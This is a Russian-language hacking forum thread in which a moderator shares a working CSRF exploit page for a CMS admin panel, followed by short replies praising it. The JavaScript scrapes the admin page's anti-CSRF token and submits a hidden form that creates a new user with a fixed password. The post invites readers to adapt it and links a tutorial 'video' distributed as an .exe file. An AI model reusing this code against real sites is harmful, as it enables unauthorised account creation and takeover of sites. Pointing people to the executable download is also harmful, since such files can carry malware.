[ВИДЕО] CSRF Атака

McGrath

Moderator
Messages
1,007
Reaction score
189
Points
63
Привет.
Хотел бы показать как устраивать CSRF атаку.
Часто помогает, если нету прямых уязвимостей типа: php include, sqli.
Причем зачастую очень легко эксплуатируется.
Сам скрипт:
Code:
<html>
 <body>

 <script>
 function GetXmlHttpObject()
 { 
 var objXMLHttp=null;
 if (window.XMLHttpRequest)
 {
 objXMLHttp=new XMLHttpRequest();
 }
 else 
 if (window.ActiveXObject)
 {
 objXMLHttp=new ActiveXObject("Microsoft.XMLHTTP");
 }
 return objXMLHttp;
 }

 function stateChanged() 
 { 
 if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
 { 
 var str = xmlHttp.responseText; // Получаем страницу.
 var regexp = /_sx_=[A-Za-z0-9_]{8}/gi; // Шаблон регулярного выражения ищет все буквы и цифры. {8} - Показывает что 8 символов.
 var matches = str.match(regexp); // Выполняем поиск по регулярному выражению, и заносим в массив.
 var attack_url = "http://localhost/cms/admin/adduser.php?_sx_=" + matches[0]; // Формируем запрос.
 document.getElementById('1234').action = attack_url; // Формируем запрос в form
 document.getElementById('sx').value = matches[0]; // Заносим anti csrf токкен в скрипт, что-бы выполнить запрос.
 } 
 }

 xmlHttp=GetXmlHttpObject();
 var url="http://localhost/cms/admin/index.php";
 xmlHttp.onreadystatechange = stateChanged;
 xmlHttp.open("GET",url,true); // Выполняем запрос
 xmlHttp.send(null); 
 </script>
<form id="1234" method="post" class="cms_form" enctype="multipart/form-data" >
<input type="hidden" name="user" value="tester" />
<input type="hidden" name="_sx_" id="sx" />
<input type="hidden" name="password" value="1234" />
<input type="hidden" name="passwordagain" value="1234" />
<input type="hidden" name="active" value="on" />
<input type="hidden" name="groups" value="1" />
<input type="hidden" name="g1" value="1" />
<input type="hidden" name="adduser" value="true" />
<input type="submit">
</form>

 </body>
 </html>

Это всего лишь пример, для ваших нужд, вам надо будет его поправлять.
И да, если вы зальете данный файл на хост1, а админка будет на хост2, то ничего не получится, в JS запрещенно выполнять междоменные запросы.

Вся информация на видео:
http://www.youtube.com/watch?v=jFV_Geit590
Сорри что в .exe файле - так лучше сжимается.
http://www.sendspace.com/file/3uadqb


Спасибо за внимание.
Ах да, видео там не пропагандирует на незаконные действия и всё такое.
 
Last edited:
Красавчик!

+
 
Молодец! +1
 
молодец тесло. ой, я хотел сказать грач. +1
 
Top